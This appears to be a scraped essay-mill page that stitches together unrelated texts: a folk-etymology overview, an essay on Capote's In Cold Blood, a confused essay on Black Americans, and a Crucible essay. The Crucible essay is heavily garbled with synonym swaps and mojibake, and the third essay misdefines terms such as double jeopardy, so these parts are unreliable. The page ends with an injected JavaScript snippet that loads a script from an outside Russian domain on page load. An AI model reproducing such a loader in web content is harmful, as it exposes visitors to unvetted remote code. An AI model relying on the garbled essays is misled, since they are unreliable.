Overview of Folk Etymology

Folk etymology involves a change in the form or pronunciation of a word or phrase resulting from a mistaken assumption about its composition or meaning. Also called popular etymology. G. Runblad and D.B. Kronenfeld identify two main groups of folk etymology, which they call Class I and Class II. Class I contains folk-etymologies where some change has occurred, either in meaning or form, or both. Folk etymologies of the Class II type, on the other hand, do not usually change the meaning or form of the word, but function mainly as some popular, though false, etymological explanation of the word (Lexicology, Semantics, and Lexicography, 2000). Class I is by far the more common type of folk etymology. Connie Eble points out that folk etymology applies mostly to foreign words, learned or old-fashioned words, scientific names, and place-names (Slang and Sociability, 1996). Examples and Observations The process of altering otherwise incomprehensible words, in order to give them a semblance of meaning, is called folk, or popular, etymology. A product of ignorance, it nevertheless should not be underestimated as a factor of language history, for many familiar words owe their form to it. In kitty-corner, kitty is a jocular substitution for cater-. Cater-corner is an opaque compound, while kitty-corner (diagonally from) suggests the movement of a prowling cat. . . .Stepmother, stepdaughter, and so forth suggest the derivation from step. Yet a stepchild is not one step removed from its natural parent; -step goes back to a word meaning bereaved. Many people share Samuel Johnsons opinion that bonfire is a good fire, from French bon, but it means bonefire. Old bones were used as fuel down to the 1800s. The vowel o was shortened before -nf (a regular change before two consonants), and a native English word began to look half-French.(Anatoly Liberman, Word Origins: Etymology for Everyone. Oxford University Press, 2009) Woodchuck and Cockroach Examples: Algonquian otchek a groundhog became by folk etymology woodchuck; Spanish cucaracha became by folk etymology cockroach.(Sol Steinmetz, Semantic Antics: How and Why Words Change Meanings. Random House, 2008)   Female Historically, female, from Middle English femelle (from Old French femelle, a diminutive form of Latin femina woman/female), is unrelated to male (Old French male/masle; Latin masculus (little man/male); but Middle English femelle was clearly remodeled into female based on the association with male (approximately the 14th century) (OED). The remodeling of female brought female and male into their current and apparently sense-related and asymmetric relationship (one that many of us, now, are going to some lengths to unmake.(Gabriella Runblad and David B. Kronenfeld, Folk-Etymology: Haphazard Perversion or Shrewd Analogy.  Lexicology, Semantics, and Lexicography, ed. by  Julie Coleman and Christian Kay. John Benjamins, 2000) Bridegroom When people hear a foreign or unfamiliar word for the first time, they try to make sense of it by relating it to words they know well. They guess what it must mean--and often guess wrong. However, if enough people make the same wrong guess, the error can become part of the language. Such erroneous forms are called folk or popular etymologies.Bridegroom provides a good example. What has a groom got to do with getting married? Is he going to groom the bride, in some way? Or perhaps he is responsible for horses to carry him and his bride off into the sunset? The true explanation is more prosaic. The Middle English form was bridgome, which goes back to Old English brydguma, from bride guma man. However, gome died out during the Middle English period. By the 16th century its meaning was no longer apparent, and it came to be popularly replaced by a similar-sounding word, grome, serving lad. This later developed the sense of servant having the care of horses, which is the dominant sense to day. But bridegroom never meant anything more than brides man.(David Crystal, The Cambridge Encyclopedia of the English Language. Cambridge University Press, 2003) EtymologyFrom the German,  Volksetymologie

Justice And Punishment In Truman Capotes In Cold Blood

In the United States, there are millions of people that are in jail cells for crimes they have committed. One of the goals of prison is to provide justice for the victim’s crimes but in our prison system, this is not the case. These people face harsh punishments that only cause worse actions in the future. The theme of justice and punishment is explored by Truman Capote in the book In Cold Blood. The two criminals, Dick and Perry, are challenged by society on if they should be imprisoned or if they should be free. In Capote’s work, the use of syntax, diction, and a variety of details portray the current system of punishment as cruel and ineffective in providing justice. The use of syntax helps describe the treatment in prisons as†¦show more content†¦The next sentence is structured to show how the government is hypocritical as it murders people even though it is against the law. This shows how the system of murder is against the law, it shows how punishment is not legally justified. The system of murder does not give mercy as described later on and does the opposite. The parallelism of the word mercy shows how the system of murder is an ineffective form of punishment as it does not give mercy but instead seeks revenge by killing someone. Through syntax, Dick describes his ideas on capital punishment. Capote states that all the government wants is revenge by stating that †They’re mad ‘cause they’re not getting what they want revenge. I believe in hanging. Just so long as I’m not the one being hanged†(336). The informal tone is broken with the hyphen that makes the word revenge stand out. The tone is said with more emphasis and it becomes very serious. Thus, the capital punishment did not provide justice but instead only focused on revenge rather than improving a persons mental state. Through the use of diction, Capote implies that prisoners are treated differently from others. Capote uses diction when he states, â€Å"Unlike conventional prisoners, the condemned†¦Ã¢â‚¬  (Capote 321).The use of the word condemned makes it sound as if the prisoners are victims. Since they are victims, it is implying that society is cruel and prisoners are treated unequally and as victims. The use of prisonsShow MoreRelatedTruman Capote s Cold Blood1620 Words   |  7 PagesTruman Capote is recognized by many for being a screenwriter, creating a plethora of short stories, and famously for his notable work-- Breakfast at Tiffany’s. Not only was this novel popular back in the 1950’s, Capote released a later novel that drew in many fans-- In Cold Blood. The very formation of Capote s novels and short stories seems to be increasingly insufficient to the eccentric dynamics of the time era (nytimes). Agonizing, horrible, surfeited with disasters -- all used to describeRead MoreInvestigation Of Justice State V. Hickock And Smith1085 Words   |  5 PagesVanderwall English 1120 30-September-2016 Investigation of Justice in State v. Hickock and Smith In compliance with the United States Constitution, â€Å"in all criminal prosecutions, the accused shall enjoy the right to a speedy and public trial, by an impartial jury† (U.S. Consitution. Art./Amend. XIII)†. The infamous trial in the state of Kansas, State v. Hickock and Smith, documented in the iconic true crime novel In Cold Blood, by Truman Capote details the events of the murder of four innocent peopleRead MoreTruman Capote -In Cold Blood - Nature vs Nurture1274 Words   |  6 Pagesryan hegarty In Cold Blood. Question 2 â€Å"Nature vs Nurture† Truman Capote’s acclaimed â€Å"non-fiction† novel, In Cold Blood explores the concept as to whether killers are born or made, following the brutal murders of the Clutter family in rural Kansas. Capote develops Perry Smith’s horrid, unfortunate upbringing as a key narrative device which serves to illustrate the effect of childhood experiences on adult behaviour. Capote manipulates the reader’s idea of morality, controversially portraying PerryRead MoreEssay on Vengeance in Truman Capotes In Cold Blood2075 Words   |  9 Pagesfifty years ago in the [rural] heartland of America, that word evoked emotion out of the entire town’s population. Prior to writing In Cold Blood, Truman Capote had written several pieces that lead him to writing a piece of literature that would infuse fiction and nonfiction, thus In Cold Blood was created, albeit after six years of research (â€Å"Truman† 84). Truman Capote is one of the more fascinating figures on the American literary landscape, being one of the countrys few writers to cross the borderRead MoreThe Cold Blood : A Critical Analysis1965 Words   |  8 PagesIn Cold Blood: A critical analysis â€Å"There are two kinds of people - those who are changing and those who are setting themselves up to be victims of change.† You can rephrase the above statement in a thousand different ways. One might divide people into two groups, â€Å"good† and â€Å"bad†, the simplest of ways to categorize people. Then again, one could categorize people into two different groups, â€Å"people who like baseball† and â€Å"people who dislike baseball†. Like I said, you can say it in a thousand differentRead MoreTruman Capote s A Cold Blood Makes A Great Case For Justice1719 Words   |  7 Pages Truman Capote’s In Cold Blood makes a great case for justice in relation to death. In the book, two criminals, Dick and Perry, worked together to murder the Clutters. They got caught and trial, however at the time Kansas maximum incarceration was life imprisonment with parole and most prisoners are paroled after twenty years. Twenty years of imprisonment for br utally killing four members of the most influential family in the area, causing mass hysteria for everyone in Holcomb and for others whoRead MoreAnalysis Of Truman Capote s I Am A Criminal1952 Words   |  8 Pagessimplest of ways to categorize people. Then again, one could categorize people into two different groups, â€Å"people who like baseball† and â€Å"people who dislike baseball†. Like I said, you can say it in a thousand different ways. However, for one man, Truman Capote, the dividing line between two people was a rather complex one. In regard to a person’s ethos, if you will, an individual is not â€Å"born into† a certain role in society, rather society determines one’s role. That being said, the point I amRead MoreAnalysis Of Truman Capote s The Cold Blood 2055 Words   |  9 PagesJaswanth Sai Pyneni Mrs. Jiminez AP American Literature Language and Composition 3 August 2012 In Cold Blood 1. Capote, Truman. In Cold Blood. NY: Modern Library, 1965 2. Postmodernist Crime Nonfiction 3. In â€Å"In Cold Blood†(1965), a nonfiction novel, Truman Capote accounts for the murder of the Clutter family, residing in Holcomb, Kansas, and the events that followed. The mode of development includes Gothic themes and motifs to make the audience question the roles of the protagonists and the antagonistsRead MorePresentation Of Sympathy For Criminals1867 Words   |  8 PagesAssessment 2: Evocation of Sympathy for Criminals: The Effect of Sympathy on Justice in In Cold Blood and Helter Skelter ‘It is quite legitimate to hold the offender accountable for the suffering he has caused, but he himself has the right to be heard as well’ Boutellier here discusses the right the criminal has to be heard, but not the right they have to sympathy. Sympathy for criminals is an interesting device used in literature to give the reader a sense of injustice on their behalf. In contrastRead MoreAnalysis Of The Book The Cold Blood 2963 Words   |  12 Pagesthe other woman. When the stories become associated with one another, the book is separated once again into a different part, telling their stories together, but with chapters separating their points of view on the shared story. In the novel In Cold Blood, the book is separated into four main parts: time before the murder, time leading up to murder, and time after the murder. Inside of the separate parts, the stories of the victims and the stories of the actual killers are separated by sections,

Order No Free Essays

Blacks only migrated to the United States. You find that most a times, the black usually move to the united states in search of increased standards of living say education and jobs. Most of the immigrants to the United States are blacks. We will write a custom essay sample on Order No or any similar topic only for you Order Now Racism is one of the central features in the united states society since blacks and other people of colour are have discriminated so much in many fields. You find that most of the blacks and even the black Americans are usually discriminated on their race. For example in the areas of employment, blacks are usually seen as unproductive and hence discriminated in these areas. Its argued that most of Its forms have recently   changed but, in this case   we only need to look no further than the rates in unemployment which black people normally face, the rising levels of property by the blacks as when compared to the citizens of that country and, life expectancy rates, incomes as when compared to the citizens of that country and the stereotypes in the mass media   in order   to understand that racism and racial inequality still remains in the united states. (Allport, 2003). The value of racism that is examined in this case is that historically we find that racism can be analyzed as a central aspect of most of the economic system. In this case I can examine the Marxist theory which says that racism is supposed to only serve the capitalists or even the wealthy in the society at the expense of the suffering few. Also in the theory colonialism, many groups have come up with many theories that based their arguments and challenged racial injustice. All this is said to have happened in the early 60s and 70s.This theory needs to be modified and it’s also relevant to examine the United States societies although it needs to be modified, it is relevant to examine the United States societies and its impacts to the blacks who live in the United States. (Butler, 1997). In the dual labour market, you find that the blacks are usually neglected in both the public and the private sectors. The issue of wages has been dodged by controversy which leaves us with the question of what can be considered as the right wages. A right wage can be said to be a compensation for a service offered which equals the amount of effort that was used in the service. Going with the labor theories, employer has a moral duty of ensuring that they pay the employees a wage which is equal to their input in their services.   An engineer will not be expected to be paid the same amount of wage as a casual laborer. These are some of the segmentation in the labor market that we have to agree with. But in most of the dual sectors that is the public and the private sectors, you find that, blacks are usually discriminated and usually do hard work with only small wages. (Butler, 1997). Institutional discrimination is also evident in the blacks who stay in the United States. In most of these institutions, you find that blacks are usually denied access to some of the institutions.Ofcourse institutional discrimination is something which blacks have faced for quite a long time. For example, during the early times, blacks were forced in to institutional slavery. In this case, blacks were usually captured and taken as slavery by the American. Even today some of these cases do happen since you find that most of the blacks who go stay in America are forced to do hard work since they are discriminated in certain institutions. (Butler, 1997). Double jeopardy does not happen to the blacks who live in the United States. Double jeopardy can be taken as the case when a criminal is supposed to be tried for a second time of the crime committed. In this case, blacks are not double jeopardized since there is a law which governs human rights and even for the immigrants who live in the United States. (Allport, 2003). Redlining also happens to the blacks which live in the United States. Redlining means the case when the costs of living are increased or even denied to some groups of individuals. But for this case, the blacks are denied their standards of living despite the human rights constitution which states that immigrants should be protected. In this case, redlining can be seen in various accesses to jobs. Most of the blacks are usually denied access to job facilities and are mostly supposed to do the casual activities over there. There costs of living are low as when compared to the citizens of that country. Evvironmental justice is also accorded to the blacks who stay in the United States. You find that the human rights act which is set by various non governmental programs to help protect immigrants who come to unites states have been applied in most of these cases. People have the right to move to any country and enjoy the benefits of that country just like anybody else. Affirmative action can be seen in the areas of employment. Out of research, it has been found that employer support for affirmative action has a significant and positive influence on the blacks who stay in the United States and this can be seen at the higher job levels. (Allport, 2003). Conclusion Blacks are one of the ethnic groups in the United States. They migrated to the United States in search of jobs, higher education and also increased standards of living. Despite their movement to these places, they usually face a lot of discrimination. For example they face a lot of racial discrimination. You find that the blacks are usually denied access to various jobs but the only job they can easily access is the casual job. Reference Allport, G. (2003): The nature of prejudice. Vancouver, West coast Coalition for Human Dignity. Butler, P. (1997): Affirmative action. Diversity and options. University of Colorado Law review. Vol. 68.    How to cite Order No, Essay examples

The Crucible Society Versus The Individual free essay sample

The Crucible: Society Versus The Individual Essay, Research Paper Arthur Miller # 8217 ; s The Crucible focal points on the fearful relationship between society and the person ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Individual: being a enchantress in the 17th century or being a Communist in the 1950 # 8217 ; s. Miller provinces: The Crucible is involved basically with the societal dealingss of human existences, and accordingly, the prevailing accent in composing the drama was on the struggle ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Although, both state of affairss coincide with Inquisition and mass craze, they conflict at the fact that Communism among Americans existed in the 1950 # 8217 ; s, while witchery among 17th century Salem townsfolk failed to be an actuality. In both clip periods question was present. As in 1692, the Inquisition of enchantresss and aces had its contentions, so did the subjugation on Communist party members in the 1950 # 8217 ; s ( # 8221 ; Un- American Activities, House Committee on # 8221 ; Microsoft Encarta 97 Encyclopedia, # 8220 ; Witchcraft # 8221 ; Microsoft Encarta 97 Encyclopedia ) . We will write a custom essay sample on The Crucible Society Versus The Individual or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Twenty people were hanged for non squealing to such unorthodoxies. Similarly, big Numberss of Americans lost their occupations and stuffs or were imprisoned if failed to be a true American. What is shown in both epochs was the being of what we can name uncorroborated grounds and agony of being accused. Questions and hearings such as these stirred up intuition and fright, doing mass craze. Both epochs suffered from this. Those accused of witchery and wizardry saved themselves by squealing and so by impeaching others. To be arraigned, all you need is some undistinguished sum of cogent evidence by a townsperson or accused enchantress, many of which accusals were merely retaliation of past incidents, or to pacify the tribunal. Similarly, this happened during the McCarthy Era. Knowing the incorrect individual affected your standing possibilities of whether you would be arraigned or non. Therefore, everyone feared / gt ; each other, if you were or were non a suspect. Indicating fingers was the lone manner to demo your earnestness to the protection of the state. Mass craze was a consequence of these hearings because of the intuition and fear it stirred. The Red Scare and the Salem enchantress tests were decidedly alike in some ways, still, the parallel fails at one of import point: Communism existed ; witchery did non ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . At the clip of the Salem enchantress tests, the psychological provinces ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) of the victims were different than those during the Red Scare. Miller provinces: # 8230 ; the person is seen through society ( # 8221 ; Just Looking for a Home # 8221 ; online ) . He is mentioning to the McCarthy Era. Those blacklisted were connected with the Communist Party, and they were guilty of that. Yet, others had no connexion at all. So, Communism was existent and society looked down on the bing Communists. But, Miller besides states: # 8230 ; society is seen through the person ( # 8221 ; Just Looking for a Home # 8221 ; online ) . Here, he refers to the psychological province of the victims of the Salem enchantress tests. All the accused were non enchantresss, but were forced to believe that they were the # 8220 ; bad # 8221 ; of society. Although, this is non so among the McCarthy Era, because they knew whether or non they were Capitalist or Communist. An illustration of forced belief comes from Tituba # 8217 ; s confession. To counterbalance, you had to squeal. In other words, the victim in Salem believed he was # 8220 ; bad # 8221 ; and saw society as # 8220 ; good. # 8221 ; Communism existed in the McCarthy Era, but witchcraft merely existed among the Salem townsfolk because they were forced to believe that it existed among themselves. Arthur Miller was able to reflect the same quandary that existed on both clip periods. However, they differ in the existent being of the # 8220 ; bad # 8221 ; persons. Many guiltless lives and worklives were claimed as a consequence of these tests, yet, Arthur Miller was able to expound this through his plants. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;